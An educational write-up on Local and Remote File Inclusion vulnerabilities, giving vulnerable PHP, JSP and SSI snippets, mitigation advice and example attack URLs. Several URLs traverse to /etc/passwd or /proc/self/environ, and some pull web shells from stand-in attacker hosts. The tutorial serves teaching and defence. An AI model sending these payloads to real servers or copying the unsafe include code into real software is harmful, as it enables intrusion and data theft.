*File Inclusion Vulnerabilities:

- What are File Inclusion Vulnerabilities?
- File Inclusion vulnerabilities often affect web applications that rely on a scripting run time, and occur when a web application allows users to submit input into files or upload files to the server. They are often found in poorly-written applications.
- File Inclusion vulnerabilities allow an attacker to read and sometimes execute files on the victim server or, as is the case with Remote File Inclusion, to execute code hosted on the attacker's machine.
- An attacker may use remote code execution to create a web shell on the server, and use that web shell for website defacement.
- Types of file inclusion vulnerabilitie:
- File inclusion vulnerabilities come in two types, depending on the origin of the included file:
- – Local File Inclusion (LFI)
- – Remote File Inclusion (RFI)

★ Local File Inclusion (LFI)

- A Local File Inclusion attack is used to trick the application into exposing or running files on the server. They allow attackers to execute arbitrary commands or, if the server is misconfigured and running with high privileges, to gain access to sensitive data.
- These attacks typically occur when an application uses the path to a file as input. If the application treats that input as trusted, an attacker can use the local file in an include statement.
- While Local File Inclusion and Remote File Inclusion are very similar, an attacker using LFI may include only local files.

★ Local File Inclusion (LFI) Example

- /**

  * Get the filename from a GET input

  * Example - http://example-website.com/?file=filename.php

  */Get the filename from a GET input

```
* Example - http://example-website.com/?file=filename.php

*/

$file = $_GET['file'];


/**

* Unsafely include the file

* Example - filename.php

*/

include('directory/' . $file);
```

- In the example above the attacker's intent is to trick the application into executing a PHP script, such as a web shell
- http://example-website.com/?file=../../uploads/malicious.php
- Once a user runs the web application, the file uploaded by the attacker will be included and executed. This will allow the attacker to run any server-side code that he wants.
- Learn more about local file inclusion attack – https://www.neuralegion.com/blog/local-file-inclusion-lfi/

★ Remote File Inclusion (RFI)

- An attacker who uses Remote File Inclusion targets web applications that dynamically reference external scripts. The goal of the attacker is to exploit the referencing function in the target application and to upload malware from a remote URL, located on a different domain.
- The results of a successful RFI attack can be information theft, a compromised server and a site takeover, resulting in content modification.

★ Remote File Inclusion (RFI) Example

- This example illustrates how Remote File Inclusion attacks work:
- A JavaServer Pages page containing the following code:

<jps:include page="<%=(String)request.getParameter("ParamName")%>">

can be manipulated with the following request:

Page1.jsp?ParamName=/WEB-INF/DB/password.

- After the application processes the request, it will reveal the content of the password file.
- The application has an import statement that requests content from a URL address:

<c:import url="<*request.getParameter("conf")%>">.The same input statement can be used for malware injection if the statement is unsanitized.

For example:

Page2.jsp?conf=https://evil-website.com/attack.js

- An attacker will often launch a Remote File Inclusion attack by manipulating the request parameters so that they refer to a remote, malicious file.
- For example, consider the following code:

$incfile = $_REQUEST["file"];

include($incfile."php");

$incfile = $_REQUEST["file"]; – extracts the file parameter value from the HTTP request.

include($incfile."php"); – uses that value to dynamically set the file name.

If you don't have proper sanitization in place, this code can be exploited, resulting in unauthorized file uploads.

- For example, this URL string:http://www.example-website.com/vulnerable_page.php?file=http://www.attacker.com/backdoorcontains an external reference to a backdoor file stored in a remote location (http://www.attacker.com/backdoor_shell.php.)
- Once uploaded to the application, this uploaded backdoor can be later used to hijack the server or gain access to the application database.

★ RFI prevention and mitigation

- To minimize the risk of RFI attacks, proper input validation and sanitization has to be implemented. Ensure you don't fall victim of the misconception that all user inputs can be fully sanitized. Look at sanitization only as an additive to a dedicated security solution.
- Sanitize the user supplied or controlled input the best you can including:

HTTP header values

URL parameters

Cookie values

GET/POST parameters

- Check the input fields against a whitelist. An attacker can supply input in a different format (encoded or hexadecimal formats) and bypass a blacklist.

- Client-side validation comes with the benefit of reduced processing overhead, but they are vulnerable to attacks by proxy tools, so apply the validation on the server end.
- Make sure you restrict execution permissions for the upload directories, maintain a whitelist of acceptable files types, and restrict upload file sizes.
- File inclusion vulnerabilities in common programming languages with examples
- File inclusion in PHP

The main cause of File Inclusion vulnerabilities in PHP, is the use of unvalidated user-input with a filesystem function that includes a file for execution – most notable being the include and require statements. In PHP 5.x the allow_url_include directive is disabled

by default, but be cautious with applications written in older PHP versions, because before 5.x allow_url_include was enabled by default.

The goal of the attacker is to alter a variable that is passed to one of these functions, to cause it to include malicious code from a remote resource.

To mitigate the risk of File Inclusion vulnerabilities in PHP, make sure all user input is validated before it's being used by the application.

Example of an file Inclusion vulnerability in PHP

```
<?php

If (isset($_GET['language'])) {

include($_GET['language'] . '.php');

}

?>


<form method="get">

<select name="language">

<option value="english">English</option>

<option value="french">French</option>

…

</select>

<input type="submit">

</form>
```

The developer intended to read in english.php or french.php, which will alter the application's behavior to display the language of the user's choice. But it is possible to

inject another path using the language parameter.

For example:

/vulnerable.php?language=http://evil.example.com/webshell.txt? – injects a remotely hosted file containing a malicious code (remote file include)

/vulnerable.php?language=C:\\ftp\\upload\\exploit – Executes code from an already uploaded file called exploit.php (local file inclusion vulnerability)

/vulnerable.php?language=C:\\notes.txt%00 – example using NULL meta character to remove the .php suffix, allowing access to files other than .php. Note, this use of null byte injection was patched in PHP 5.3, and can no longer be used for LFI/RFI attacks.

/vulnerable.php?language=../../../../../etc/passwd%00 – allows an attacker to read the contents of the etc/passwd file on a Unix-like system through a directory traversal attack.

/vulnerable.php?language=../../../../../proc/self/environ%00 – allows an attacker to read the contents of the /proc/self/environ file on a Unix-like system through a directory traversal attack. An attacker can modify a HTTP header (such as User-Agent) in this attack to be PHP code to exploit remote code execution.

The best solution in this case is to use a whitelist of accepted language parameters. If a strong method of input validation, such as a whitelist, cannot be used, then rely upon input filtering or validation of the passed-in path to make sure it does not contain unintended characters and character patterns. However, this may require anticipating all possible problematic character combinations. A safer solution is to use a predefined Switch/Case statement to determine which file to include rather than use a URL or form parameter to dynamically generate the path.

JavaServer Pages (JSP)

JavaServer Pages (JPS) is a scripting language which can include files for execution at runtime.

Example of an File Inclusion vulnerability in JSP

<%

String p = request.getParameter(“p”);

@include file=”<%=”includes/” + p +”.jsp”%>”

%>

/vulnerable.jps?p=../../../../var/log/access.log%00 – Unlike PHP, JSP is still affected by Null byte injection, and this param will execute JSP commands found in the web server’s access log.

Server Side Includes (SSI)

Although a Server Side Include is uncommon and not typically enabled on a default web server, it can be used to gain remote code execution on a vulnerable web server.

Example of an File Include vulnerability in SSI

The following code is vulnerable to a remote-file inclusion vulnerability:

<!DOCTYPE html>

<html>

<head>

<title>Test file</title>

<head>

<body>

<!--#include file=”USER_LANGUAGE”-->

</body>

</html>

The above code is not an XSS vulnerability, but rather including a new file to be executed by the server.